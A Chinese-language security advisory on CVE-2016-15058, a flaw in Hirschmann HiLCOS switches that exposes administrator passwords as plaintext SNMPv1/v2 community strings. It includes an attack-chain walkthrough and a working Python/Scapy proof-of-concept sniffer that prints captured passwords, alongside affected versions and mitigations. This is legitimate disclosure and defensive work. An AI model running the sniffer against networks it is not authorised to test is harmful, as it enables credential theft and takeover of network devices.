IPBUF安全漏洞报告
English
CVE-2016-15058 CVSS 8.1 高危

CVE-2016-15058 Hirschmann HiLCOS凭证泄露漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2016-15058
漏洞类型
凭证泄露
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hirschmann HiLCOS Classic Platform switches

相关标签

凭证泄露SNMPHirschmann网络设备明文传输CVE-2016-15058

漏洞概述

Hirschmann HiLCOS Classic Platform 交换机存在凭证泄露漏洞。受影响的设备版本在启用特定功能时,会将用户密码与 SNMPv1/v2 团体字符串进行同步。由于 SNMPv1/v2 协议缺乏加密机制,这些凭证以明文形式在本地网络中传输,并且可能存储在配置文件中。攻击者可通过嗅探网络流量或提取配置数据来获取管理员密码,进而获得设备的未授权访问权限。

技术细节

该漏洞源于 Hirschmann HiLCOS Classic Platform 设备软件设计中的安全缺陷。当管理员配置了密码同步功能时,系统会将设备的管理员密码直接映射为 SNMPv1 或 SNMPv2c 的团体字符串。由于 SNMPv1 和 SNMPv2c 协议本身不提供任何加密或认证机制,数据包以明文形式在网络中传输。这就导致在本地网络环境(邻接网络)中的攻击者,利用 Wireshark 等数据包嗅探工具,可以轻松捕获 SNMP 流量并解析出明文密码。此外,如果攻击者能够访问设备的配置文件,同样可以从中提取到这些明文凭证。获取凭证后,攻击者可以利用 SNMP 协议或 Web 管理界面完全控制设备,修改配置或导致网络中断。

攻击链分析

STEP 1
侦查
攻击者接入本地网络,识别目标 Hirschmann 交换机的 IP 地址。
STEP 2
嗅探
攻击者使用抓包工具(如 Wireshark 或 Scapy)监听网络中的 UDP 161 端口(SNMP)流量。
STEP 3
提取
攻击者解析捕获的 SNMP 数据包,提取其中的 Community String 字段。由于该漏洞的存在,此字符串即为设备的管理员明文密码。
STEP 4
利用
攻击者使用获取到的明文密码,通过 Telnet, SSH, SNMP 或 Web 管理界面登录设备,获取完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2016-15058: SNMP Community String Sniffing # This script demonstrates how to capture plaintext credentials from SNMP traffic. # Usage: sudo python3 cve_2016_15058_poc.py from scapy.all import sniff, SNMP def packet_callback(packet): """Callback to process captured packets.""" if packet.haslayer(SNMP): # Extract the community string which is synced with the user password # In this vulnerability, the community string IS the password try: community = packet[SNMP].community.val.decode('utf-8', errors='ignore') print(f"[+] Captured SNMP Packet:") print(f" Source IP: {packet[0][1].src}") print(f" Destination IP: {packet[0][1].dst}") print(f" Community String (Plaintext Password): {community}") except Exception as e: print(f"Error parsing packet: {e}") if __name__ == "__main__": print("[*] Starting SNMP sniffer for CVE-2016-15058...") print("[*] Listening on UDP port 161 (SNMP)...") print("[*] Press Ctrl+C to stop.") # Filter for UDP port 161 (standard SNMP port) try: sniff(filter="udp port 161", prn=packet_callback, store=0) except KeyboardInterrupt: print("\n[*] Sniffer stopped.")

影响范围

Classic L2E < 09.0.06
Classic L2P < 09.0.06
Classic L3E < 09.0.06
Classic L3P < 09.0.06
Classic L2B < 05.3.07

防御指南

临时缓解措施
建议立即升级至修复版本以彻底解决该漏洞。若暂时无法升级,请务必禁用 SNMPv1/v2c 协议,或启用 SNMPv3 以确保通信加密。同时,应修改所有可能已泄露的管理员密码,并将管理网络与普通用户网络进行逻辑隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表